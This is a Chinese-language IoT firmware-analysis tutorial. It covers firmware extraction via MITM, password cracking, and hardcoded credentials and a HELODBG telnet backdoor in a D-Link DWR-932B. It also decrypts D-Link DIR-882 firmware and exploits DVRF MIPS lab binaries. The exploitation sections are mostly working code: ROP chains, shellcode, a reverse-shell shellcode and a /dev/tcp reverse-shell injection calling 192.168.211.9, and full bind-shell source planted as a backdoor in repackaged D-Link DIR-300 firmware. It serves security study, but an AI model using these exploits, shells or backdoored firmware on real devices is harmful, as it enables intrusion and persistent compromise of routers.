从0到1:固件分析
固件分析
0x01 固件提取
1、从厂商官网下载
例如D-link的固件:
https://support.dlink.com/resource/products/
2、代理或镜像设备更新时的流量
发起中间人攻击MITM
#启用IP转发功能
echo 1 > /proc/sys/net/ipv4/ip_forward#配置iptables,将目的的端口80的流量重定向至SSLstrip监听的端口10000
iptables -t nat -p tcp -A PREROUTING --dport 80 -j REDIRECT --to-port 10000#启动SSLstrip
ssltrip -a#启动Ettercap GUI
ettercap -G#监听网卡,用wireshark监听同样的网卡#过滤并保存相关数据,即得到固件
3、直接从设备转储固件
通过UART、SPI或者JTAG接口直接转储固件
固件提取实战(附无损提取方案)
0x02 Dlink_DWR-932B 路由器固件分析
得到固件后,若直接打开,会发现该固件被加了密,无法直接解压缩,这是厂商对该固件做了保护,防止大家逆向分析他的固件。
通过frackzip工具可以破解该zip的密码
fcrackzip -u -v -b DWR-932.zip
密码是beUT9Z。
解压后发现文件夹中有多个.yaffs2后缀的文件,这些都是固件的文件。
yaffs2里有几个看上去是recovery的镜像,核心的应该是2K-mdm-image-mdm9625.yaffs2 ,我们下面就来提取该文件,我首先用binwalk来提取它,但提取出来的文件乱七八糟,不知道什么原因,后来看网上推荐直接用yaffs的原生工具unyaffs提取,就可以了,文件系统清晰明了。
unyaffs 2K-mdm-image-mdm9625.yaffs2 yaffs2-root/
接下来我们查找该路径下的所有.conf文件,.conf文件多是配置文件,有可能从中可以发现敏感的信息。
find . -name '*.conf'
其中的inadyn-mt.conf文件引起了我们注意,这是no-ip应用的配置文件,no-ip就是一个相当于花生壳的东西,可以申请动态域名。我们从中可以发现泄露的no-ip的登陆账号及密码。
cat etc/inadyn-mt.conf
除了上述泄露的no-ip账号密码,我们还从shadow文件中找到了root账号的密码,通过爆破可以得到root的密码为1234。
cat ~/yaffs2-root/etc/shadowcat /etc/shadow | grep root | cut -d: -f2 > root.hashjohn --wordlist=/usr/share/wordlists/rockyou.txt root.hash
其实并不止有.conf文件会泄露信息,还有很多其他后缀的敏感文件会泄露信息,我们接下来使用firmwalker工具来自动化遍历该固件系统中的所有可疑文件。
git clone https://github.com/craigz28/firmwalker.git
命令如下,firmwalker会将结果保存到firmwalker.txt。
./firmwalker.sh ~/yaffs2-root/
看了下该工具的源码,没啥亮点,就是遍历各种后缀的文件。
后缀都在data文件夹中的各个配置文件中。
分析完敏感的配置文件后,我们接下来分析存在风险的二进制程序。查看自启动的程序,一个start_appmgr脚本引起了我们注意,mgr一般就是主控程序的意思。
该脚本会在开机的时候以服务的形式运行/bin.appmgr程序。
appmgr 分析
用 IDA 打开 /bin/appmgr
程序看看
main 函数下 F5,可以发现有一个线程会持续监听 0.0.0.0:39889(UDP),并等待传入控制命令,如果某个用户向目标路由器发送了一个 HELODBG
字符串,那么路由器将会执行 /sbin/telnetd -l /bin/sh
,并允许这名用户在未经身份验证的情况下以 root 用户的身份登录路由器。
默认 admin 账号
搜索 mod_sysadm_config_passwd 函数
路由器的管理员账号。设备的管理员账号默认为“admin”,而密码同样也是“admin”。
默认 WPS PIN 码
搜索 wifi_get_default_wps_pin 函数
默认配置下,该路由器 WPS 系统的 PIN 码永远都是 28296607
因为这个 PIN 码是硬编码在 /bin/appmgr
程序中
fotad 分析
路由器与 FOTA 服务器进行通信时的凭证数据硬编码在 /sbin/fotad
代码中,我们用 IDA 进行分析
搜索 sub_CAAC 函数,可以发现被 base64 过的凭证
用户/密码如下
cWRwYzpxZHBj qdpc:qdpc
cWRwZTpxZHBl qdpe:qdpe
cWRwOnFkcA== qdp:qdp
UPnP 安全问题
UPnP 允许用户动态添加防火墙规则。因为这种做法会带来一定的安全风险,因此设备通常都会对这种操作进行限制,以避免不受信任的客户端添加不安全的防火墙规则。
UPnP 的不安全性早在2006年就已经是众所周知的事情了。而该路由器中 UPnP 程序的安全等级仍然非常的低,处于局域网内的攻击者可以随意修改路由器的端口转发规则。
文件 /var/miniupnpd.conf
是由 /bin/appmgr
程序生成的:
搜索 sub_2AE0C 函数
该程序会生成 /var/miniupnpd.conf
:
ext_ifname=rmnet0
listening_ip=bridge0
port=2869
enable_natpmp=yes
enable_upnp=yes
bitrate_up=14000000
bitrate_down=14000000
secure_mode=no # "secure" mode : when enabled, UPnP client are allowed to add mappings only to their IP.
presentation_url=http://192.168.1.1
system_uptime=yes
notify_interval=30
upnp_forward_chain=MINIUPNPD
upnp_nat_chain=MINIUPNPD
0x03 D-Link DIR-882固件解密
我们可以通过分析固件的之前的一些版本,找到研究固件当前版本的一些线索。
下面这张图
image-20210310145532897
是很多路由器厂家会采取的一种更新升级固件并使固件更加“安全“的方案。 这个方案是这样的:最开始发布的固件是没有加密的,也没有附带任何解密的文 件,随着固件更新,解密文件会和较新版本 v1.1 中的未加密版本一起发布,以 便将来进行固件加密,v1.1 版本作为过渡使用。而到了 v1.2 时,固件则是以加密形式发布的,不过仍附带解密文件。
[固件下载地址](https://github.com/OL4THREE/Practice-Note/tree/main/D-Link DIR-882固件解密实验)
我们以 D-Link DIR-882 固件为例。我们在分析固件时会发现它被 加密过了,使用 binwalk 根本无法探测,比如这次的固件 v1.20b06
这时候我们可以考虑通过分析旧版本的固件尝试是否有什么线索来解密现在这 个新版本的固件 在 这 里 我 们 可 以 找 到 所 有 旧 版 本 的 固 件 ( ftp://ftp2.dlink.com/PRODUCTS/DIR-882/REVA/ ) , 我 们 找 个 最 早 的 版 本 v1.00b07,下载来后解压尝试binwalk读取
可以看到能识别出信息,或者说是没有加密过的。 那再看看稍微新一点的版本
v1.10b02
可以看到有两个 bin 文件,说明 1.04b02 的过渡版本,它包含在 v1.10b02 固件包 汇中,名字也已经告诉我们了,1.04b02 是未加密的 分别使用 binwalk
而加密后的固件却什么也看不到
我们把 1.04b02 提取出来
进入生成的文件夹
注意到有两个文件,使用 binwalk 提取 A0 进入新文件夹 再次提取8AB758最近进入文件夹
注意到这里有一个 Imgdecrypt 的文件,看名字,应该是用来解密镜像的 file 查看
发现是个可执行文件,尝试执行,缺少相应的 so 文件,这很正常,因为这个文 件是写在 mips 架构上运行的,而我们目前是 x86 为了运行它,我们使用 qemy-mipsel-static
首先将其复制到固件根文件系统的/usr/bin 目录下 在将前面发现是加密的固件 1.20b06 复制过来
sudo chroot . ./qemu-mipsel-static ./bin/sh
接着还是同样的办法模拟 mips 架构拿到 shell 此时再执行 imgdecrypt 可以看到 打印出了使用方法 按照其提示,可以看到对原来加密的固件进行了解密 操作如上图所示 这时候再次使用 binwalk 查看被解密后的固件,可以看到已经可以识别了
这给我们的启示就是,在碰到加密的固件时,可以考率查找位于同一产品线、具 有相同处理器体系结构的路由器固件,找那些版本旧一些的,或者过渡版本,或 许就能为我们提供线索。 我们使用 binwalk 如之前未加密的固件一般一步步提取
敏感信息分析
可以看到文件系统都被提取出来了 这里介绍一个常用的小工具 firmwalk.sh 它将搜索固件文件系统,以获取与敏感信息相关的东西,如:
etc/shadow and etc/passwd
列出 etc/ssl 目录
搜索相关的文件,如. pem,. crt, 等。
搜索配置文件
查找脚本文件
搜索其他. bin 文件
查找诸如管理员。密码。远程等关键字。
搜索在 IoT 设备上使用的通用网络服务器
搜索常见的二进制文件,如 ssh。tftp。dropbear 等。
搜索网址,电子邮件地址和 IP 地址
我们可以使用它来看看这个文件系统中有哪些敏感信息 命令为./firmwalker.sh 文件系统的路径
0x04 基于固件仿真的动态分析
0x05 MIPS架构下的漏洞利用(DVRF靶场)
$ file ./bin/busybox
./bin/busybox: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
stack_bof_01
获取参数后,未校验长度赋值给局部变量造成栈溢出,有后门函数 0x00400950 :
Main 函数由 libc_main_start 调用,即 main 函数为非叶子函数,返回地址存放在栈上,从汇编可见:
直接跳转 0x00400950 会因为 t9 的值被修改而错误。mips默认 t9 为当前函数开始地址。函数内部通过 t9 寄存器和 gp 寄存器来找数据,地址等。
其他师傅文章中是通过找 libc 中的 lw t 9 , a r g 0 ( t9, arg_0( t9,arg0(sp);jalr $t9 调整 t9 寄存器。但是我固件镜像中的 libc 没有这个 gadget ,按照偏移地址跳转过去是 jalr $t9 。换个思路直接跳过 dat_shell 开头调整 gp 部分:
修复 t9 寄存器思路参考师傅文章:
https://www.cnblogs.com/hac425/p/9416758.html
调试方法
需要打开几个 terminal 启动不同的命令:
-
启动 qemu 模拟-strace 查看 qemu 调试信息,方便观察执行了什么命令qemu-mipsel-static -L . -g 1234 -strace ./pwnable/Intro/uaf_01 aaaa
-
gdb-multiarchgdb-multiarch ./pwnable/Intro/stack_bof_01
set architecture mips
set endian little
target remote :1234
连上之后会停在 start ,在 main 函数开头打断点,运行到这个断点,然后就慢慢单步调试。
EXP
字符串是从参数读入,跳转地址转换后是不可见字符 ,需要借助 cat 传入参数
# file_name: stack_bof_01.py
from pwn import *context.binary = "./pwnable/Intro/stack_bof_01"
context.arch = "mips"
context.endian = "little"backdoor = 0x0040095c payload = 'a'*0xc8+'b'*0x4
payload += p32(backdoor)with open("stack_bof_01_payload","w") as file:file.write(payload)
命令行执行:
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "`cat stack_bof_01_payload`"
stack_bof_02
和前面一题差不多,调试方法也一样,就是少了后门函数,造成溢出函数变成了 strcpy :
main 非叶子函数覆盖函数返回地址跳转存放在栈上的 shellocde 。qemu 模拟地址没有随机化,相当于 aslr 关闭了,直接调试查出 v4 的内存地址
Shellcode 查询:
http://shell-storm.org/shellcode/files/shellcode-792.php
直接写入 shellcode 可以完整执行完,但是执行 syscall 0x40404 之后没有弹 shell 而是进行运行到下一条指令。问了师傅说也有遇到过这种情况,通过加无意义的指令(nop)调整 shellcode 位置有机会能成,用了 XOR $t1, $t1, $t1 避免 strcpy \x00 截断(只有不包含截断符指令都行),尝试后无果。
查阅资料后发现,由于 mips 是流水指令集,存在 cache incoherency 的特性,需要调用 sleep 或者其他函数将数据区刷新到当前指令区中去,才能正常执行 shellcode 。
https://ctf-wiki.org/pwn/linux/mips/mips_rop/#2-dvrf-stack_bof_02c
构造 ROP 的 gadget 得去 libc 找,程序自身没多少个。我在 ubuntu18 gdb 连上报错,换到 ubuntu16 vmmap 查不出来 libc 信息(如图),最后换 attify 解决问题。
libc路径:/squashfs-root/lib/libc.so.0
先调用 sleep(1) 就需要找 gadget 控制参数以及跳转。mipsrop.find(“li $a0,1”) 控制第一个参数,任选一个后面 rop 没有 gadget 继续构造就换一个 -。- ,我选着第二个构造 gadget1 = 0x2FB10 :
.text:0002FB10 li $a0, 1
.text:0002FB14 move $t9, $s1
.text:0002FB18 jalr $t9 ; sub_2F818
接着需要找一个控制 s1 的 gadget ,用于控制执行完 gadget1 之后跳转到哪里。mipsrop.find(“li $s1”) 结果有很多,最后选了 gadget2 = 0x00007730 :
.text:00007730 lw $ra, 0x18+var_s10($sp)
.text:00007734 lw $s3, 0x18+var_sC($sp)
.text:00007738 lw $s2, 0x18+var_s8($sp)
.text:0000773C lw $s1, 0x18+var_s4($sp)
.text:00007740 lw $s0, 0x18+var_s0($sp)
.text:00007744 jr $ra
至此 a0 被控制为 1 ,目前 payload 结构为:
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += "????"#s1
payload += "bbbb"#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
不能直接将 sleep(0x767142b0) 填到 s1 处,因为直接填地址跳转 sleep 缺少了跳转前将返回地址放到 ra 寄存器(或压栈)的过程,当 sleep 运行到结尾的 jalr $ra 时,又会跳转会到 gadget1 ,所以要换个方式。
mipsrop.tails() 找通过 s0\s2\s3 寄存器跳转的 gadget ,选择了 gadget3 = 0x00020F1C :
.text:00020F1C move $t9, $s2
.text:00020F20 lw $ra, 0x18+var_sC($sp)
.text:00020F24 lw $s2, 0x18+var_s8($sp)
.text:00020F28 lw $s1, 0x18+var_s4($sp)
.text:00020F2C lw $s0, 0x18+var_s0($sp)
.text:00020F30 jr $t9
解决 sleep 运行结束返回地址问题,并 lw r a , 0 x 18 + v a r s C ( ra, 0x18+var_sC( ra,0x18+varsC(sp) 控制下一层跳转,payload 结构:
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += "cccc"#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += "????"#ra
mipsrop.stackfinders() 找一个 gadget 提取栈地址放到寄存器中,找的时候还要注意控制下一次跳转选择 gadget4 = 0x16dd0 这个,通过 gadget3 提前将下次跳转地址写入 s0 :
.text:00016DD0 addiu $a0, $sp, 0x38+var_20
.text:00016DD4 move $t9, $s0
.text:00016DD8 jalr $t9
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += "????"#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
最后找一个用 a0 跳转的 gadget ,一开始用 mipsrop.tails() 没找到,最后用 mipsrop.find(“move t 9 , t9, t9,a0)”) 找着了 gadget5 = 0x214a0 ,对 mipsrop 理解不够……
.text:000214A0 move $t9, $a0
.text:000214A4 sw $v0, 0x30+var_18($sp)
.text:000214A8 jalr $t9
最后跳转 shellcode 时,0x000214A4 的这句汇编 sw v 0 , 0 x 30 + v a r 1 8 ( v0, 0x30+var_18( v0,0x30+var18(sp) 会将 shellcode 第一个指令替换为 nop ,用无意义指令填充,将 shellcode 向后移。
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += shellcode
EXP
from pwn import *context.binary = "./pwnable/ShellCode_Required/stack_bof_02"
context.arch = "mips"
context.endian = "little"# libc_base = 0x766e5000
sleep = 0x767142b0#0x2F2B0+0x766e5000
gadget1 = 0x76714b10
'''0x76714b10: li a0,10x76714b14: move t9,s10x76714b18: jalr t9
'''
gadget2 = 0x766ec730
'''0x766ec730: lw ra,40(sp)0x766ec734: lw s3,36(sp)0x766ec738: lw s2,32(sp)0x766ec73c: lw s1,28(sp)0x766ec740: lw s0,24(sp)0x766ec744: jr ra
'''
gadget3 = 0x76705f1c
'''0x76705f1c: move t9,s20x76705f20: lw ra,36(sp)0x76705f24: lw s2,32(sp)0x76705f28: lw s1,28(sp)0x76705f2c: lw s0,24(sp)0x76705f30: jr t9
'''
gadget4 = 0x766fbdd0
'''0x766fbdd0: addiu a0,sp,240x766fbdd4 <optarg>: move t9,s00x766fbdd8: jalr t9
'''
gadget5 = 0x767064a0
'''0x767064a0: move t9,a00x767064a4: sw v0,24(sp)0x767064a8: jalr t9
'''
shellcode = "\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f " # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e " # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode += "\xf5\xff\xa4\x27" # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01" # syscall 0x40404payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += shellcodewith open("stack_bof_02_payload","w") as file:file.write(payload)
socket_bof
这题二进制文件用 ida 看伪代码有点瑕疵,本来溢出点变成了一个指针,导致一直找不到,最后无奈去看了下源码和结合汇编。
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>// Pwnable Socket Program
// By b1ack0wl
// Stack Overflowint main(int argc, char **argv[])
{if (argc <2){printf("Usage: %s port_number - by b1ack0wl\n", argv[0]);
exit(1);}char str[500] = "\0";char endstr[50] = "\0";int listen_fd, comm_fd;int retval = 0;int option = 1;struct sockaddr_in servaddr;listen_fd = socket(AF_INET, SOCK_STREAM, 0);bzero( &servaddr, sizeof(servaddr));servaddr.sin_family = AF_INET;servaddr.sin_addr.s_addr = htons(INADDR_ANY);servaddr.sin_port = htons(atoi(argv[1]));printf("Binding to port %i\n", atoi(argv[1]));retval = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));if (retval == -1){printf("Error Binding to port %i\n", atoi(argv[1]));exit(1);}if(setsockopt(listen_fd, SOL_SOCKET,SO_REUSEADDR, (char*)&option, sizeof(option)) < 0){printf("Setsockopt failed :(\n");close(listen_fd);exit(2);
}listen(listen_fd, 2);comm_fd = accept(listen_fd, (struct sockaddr*) NULL, NULL);bzero(str, 500);write(comm_fd, "Send Me Bytes:",14);read(comm_fd,str,500);sprintf(endstr, "nom nom nom, you sent me %s", str);printf("Sent back - %s",str);write(comm_fd, endstr, strlen(endstr)+1);shutdown(comm_fd, SHUT_RDWR);shutdown(listen_fd, SHUT_RDWR);close(comm_fd);close(listen_fd);
return 0x42;
}
栈溢出在这句 sprintf(endstr, “nom nom nom, you sent me %s”, str); str 是 socket 传入的数据,长度内容为我们所控制,溢出 padding 为 51
调试方法
在 ubuntu 16.04 下 gdb-multiarch target remote :1234 链接上后报错退出,切换到 attify 能继续使用最常规方式调试:qemu-user 模式加 -g 打开调试端口,gdb-multiarch target remote :1234 链接上去。
# terminal 1
sudo qemu-mipsel-static -L . -g 1234 -strace ./pwnable/ShellCode_Required/socket_bof 8884
# terminal 2 gdb-multiarch
set architecture mips
set endian little
target remote :1234
另外一个调试方法是 qemu system 启动 mips 系统,然后传入一个 gdb-server ,在里面运行程序然后 gdb-server attach 程序,再在外面用 gdb 链接上去。
attify 里面 gdb 插件是 gef ,用 vmmap 读不出 libc 地址
曲线救国在 0x00400D34 打下断点,单步跟进去查看 sprintf 的真实地址,然后再从 ./lib/libc.so.0 读取偏移算出基地址
全部题目用的 libc 都同一个,需要 shellcode 的题目,换下 shellcode 就能通用 exp 。前面 stack_bof_02 是在 ubuntu16 里面的脚本 libc_base 和 attify 不一样要换下基地址。
Stack_bof_02 的 execve(‘/bin/sh’) 能打通
找一个反弹 shell 的 shellcode 替换,或者将 shell 绑定到某个端口
反弹 shell :http://shell-storm.org/shellcode/files/shellcode-860.php
绑定 shell :http://shell-storm.org/shellcode/files/shellcode-81.php
绑定 shell 的 shellcode 预期是开在本地的 4919 端口,实际运行后发现并不是,要自己查端口 -。- ,然鹅 nc 连上去后程序会蹦掉。
反弹 shell 的 shellcode 预编是反弹到 192.168.1.177:31337 ,要么修改网卡 ip ,要么就改一下 shellcode 传入的 ip
将 ip 地址转换成 16 进制
hex(192)#0xc0
hex(168)#0xa8
hex(1) #0x01
hex(177)#0xb1
#192.168.1.177==>0xB101A8C0
编译一下,编译失败看看是不是 binutils 没装
from pwn import
context.arch = "mips"
context.endian = "little"
asm("li $a1, 0xB101A8C0")
然后搜索 \x01\xb1\x05 \xc0\xa8\xa5\x34 替换为自己编译的:
stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05 \x01\xff\xa5\x34\x01\x01\xa5\x20"
#stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05 \xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.1.177
stg3_SC += "\xf8\xff\xa5\xaf\xd3\x09\x05 \xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.211.9
stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08 \x2f\x2f\x08\x35\xec\xff\xa8\xaf"
stg3_SC += "\x73\x68\x08 \x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"
EXP
#!/usr/bin/python
from pwn import *context.arch = 'mips'
context.endian = 'little'libc_addr = 0x4089b000#0x766e5000
sleep = 0x0002F2B0gadget1 = 0x2fb10
'''0x76714b10: li a0,10x76714b14: move t9,s10x76714b18: jalr t9
'''
gadget2 = 0x7730
'''0x766ec730: lw ra,40(sp)0x766ec734: lw s3,36(sp)0x766ec738: lw s2,32(sp)0x766ec73c: lw s1,28(sp)0x766ec740: lw s0,24(sp)0x766ec744: jr ra
'''
gadget3 = 0x20f1c
'''0x76705f1c: move t9,s20x76705f20: lw ra,36(sp)0x76705f24: lw s2,32(sp)0x76705f28: lw s1,28(sp)0x76705f2c: lw s0,24(sp)0x76705f30: jr t9
'''
gadget4 = 0x16dd0
'''0x766fbdd0: addiu a0,sp,240x766fbdd4 <optarg>: move t9,s00x766fbdd8: jalr t9
'''
gadget5 = 0x214a0
'''0x767064a0: move t9,a00x767064a4: sw v0,24(sp)0x767064a8: jalr t9
'''
stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05 \x01\xff\xa5\x34\x01\x01\xa5\x20"
#stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05 \xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.1.177
stg3_SC += "\xf8\xff\xa5\xaf\xd3\x09\x05 \xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.211.9
stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08 \x2f\x2f\x08\x35\xec\xff\xa8\xaf"
stg3_SC += "\x73\x68\x08 \x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"payload = 'a' * 51
payload += p32(libc_addr+gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(libc_addr+gadget3)#s1
payload += p32(libc_addr+sleep)#s2
payload += "bbbb"#s3
payload += p32(libc_addr+gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(libc_addr+gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(libc_addr+gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += stg3_SCp = remote('127.0.0.1',8882)
p.recvuntil('Send Me Bytes:')p.sendline(payload)p.interactive()
socket_cmd
远程命令注入,参考资料看下面:
CTF之命令执行绕过总结
反弹Shell,看这一篇就够了
EXP
依次打开终端运行
#terminal 0
qemu-mipsel-static -L . -strace ./pwnable/ShellCode_Required/socket_cmd 9999
#terminal 1
nc -lvvp 31337
#tarminal 2
nc 127.0.0.1 9999
hacked|`bash -c "bash -i >& /dev/tcp/192.168.211.9/31337 0>&1"`
是 iot 用户 nc 链接上去程序,程序是用 sudo 起来,所以切换到 root
0x06 使用firmware-mod-kit(FMK)在固件中添加后门
在漏洞利用过程中,经常需要用到的一种方法就是篡改固件。也就是从固件中提取文件系统,对其内容进行修改,然后再将其重新打包成新的固件,随后攻击者可以将这个新打包的固件刷进设备。
准备工作
固件篡改的过程会用到工具 FMK,该工具由 Jeremy Collake 和 Craig Heffner 开发。FMK 不仅可以利用 Binwalk 或其他工具从固件中提取出文件系统,还具有将篡改后的文件系统重新打包成新固件的功能。
FMK 可以从https://github.com/brianpow/firmware-mod-kit/下载,如果读者之前从 GitHub 中克隆了 FAT 代码,那么该工具应该已经存在于读者的系统中了。下载完该工具后,接下来我们就可以找一个固件一试身手了。出于简单起见,同时让本书的读者在无须投入资金购买硬件的情况下也能够复现以下步骤,我们主要以能够采用 FAT 进行仿真的固件为例进行介绍。
测试流程
篡改固件的步骤如下:
1)在本例中我们使用的固件来自 D-Link DIR-300 路由器。在这里我们使用 FMK 目录下的 extract-firmware.sh 脚本从固件中提取文件系统,而未使用 Binwalk。操作命令如图 1 所示。
./extract-firmware.sh Dlink_firmware.bin
提取出固件后,脚本会生成一个新目录,其中包括 rootfs、image_part 和 logs 等文件夹。由于攻击者的目的大多是添加后门和修改固件,因此这里我们只关心 rootfs 文件夹。
rootfs 文件夹中包含了固件中的整套文件系统。而我们所要做的工作就是在固件中添加后门,然后找到固件启动后自动调用后门的方法。
2)首先查看固件所基于的架构。对固件中任一文件执行 readelf 命令就可以查看其架构,以 BusyBox 文件为例,命令执行结果如图 2 所示。
3)正如我们从图 2 中看到的,固件是基于 MIPS 小端架构的。这意味着我们需要开发符合 MIPS 小端架构的后门并进行编译。下面是我们将要使用的后门源码,该后门由 Osanda Malith 开发编写:
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/types.h>#include <sys/socket.h>#include <netinet/in.h>
#define SERVER_PORT 9999 /* CC-BY: Osanda Malith Jayathissa (@OsandaMalith) * Bind Shell using Fork for my TP-Link mr3020 router running busybox * Arch : MIPS * mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB -march=24kc */int main() { int serverfd, clientfd, server_pid, i = 0; char *banner = "[~] Welcome to @OsandaMalith's Bind Shell\n"; char *args[] = { "/bin/busybox", "sh", (char *) 0 }; Analyzing and Exploiting Firmware struct sockaddr_in server, client; socklen_t len;server.sin_family = AF_INET; server.sin_port = htons(SERVER_PORT); server.sin_addr.s_addr = INADDR_ANY;serverfd = socket(AF_INET, SOCK_STREAM, 0); bind(serverfd, (struct sockaddr *)&server, sizeof(server)); listen(serverfd, 1);while (1) { len = sizeof(struct sockaddr); clientfd = accept(serverfd, (struct sockaddr *)&client, &len); server_pid = fork(); if (server_pid) { write(clientfd, banner, strlen(banner)); for(; i <3 /*u*/; i++) dup2(clientfd, i); execve("/bin/busybox", args, (char *) 0); close(clientfd); } close(clientfd); } return 0;}
代码写好后,我们就可以使用针对 MIPSEL 架构的 Buildroot,并使用该 Buildroot 构建的交叉编译器编译代码。这里不对安装配置 Buildroot 的过程进行过多介绍,因为这个过程非常简单,并且在 Buildroot 的说明文档中已经进行了详细说明。
4)为 MIPSEL 架构创建了交叉编译器后,我们接下来将 bindshell.c 编译为能够植入文件系统的二进制文件 bindshell:
./mipsel-buildroot-linux-uclibc-gcc bindshell.c -static -obindshell
下一步是在文件系统中寻找可以放置该二进制文件的地方,以及如何在启动过程中将其设置为自启动。这里我们的思路是分析在启动过程中自动调用的脚本,看看是否能够实现自启动。
5)在文件系统中,我们可以在 etc/templates/目录中放入后门的二进制文件,然后在 system.sh 脚本中调用该二进制文件,其中 system.sh 脚本位于/etc/scripts/目录下,脚本编写如图 3 所示。
6)接下来使用 build-firmware.sh 脚本将修改后的文件系统重新打包为新的固件,打包过程如图 4 所示。
执行完成后,会在目录 firmware-name/中生成新的固件,新固件名为 new-firmware.bin。
7)此时就创建完成了新的固件镜像,我们可以将新固件复制到 FAT 目录中,并通过仿真来验证新添加的后门是否能够正常运行。这里同之前固件仿真的步骤相同。操作步骤如图 5 所示。
如图所示,固件仿真时获得的 IP 地址为 192.168.0.1,此时可以尝试访问该地址。但我们更关注在固件中添加的后门 bindshell 是否已经成功启动。
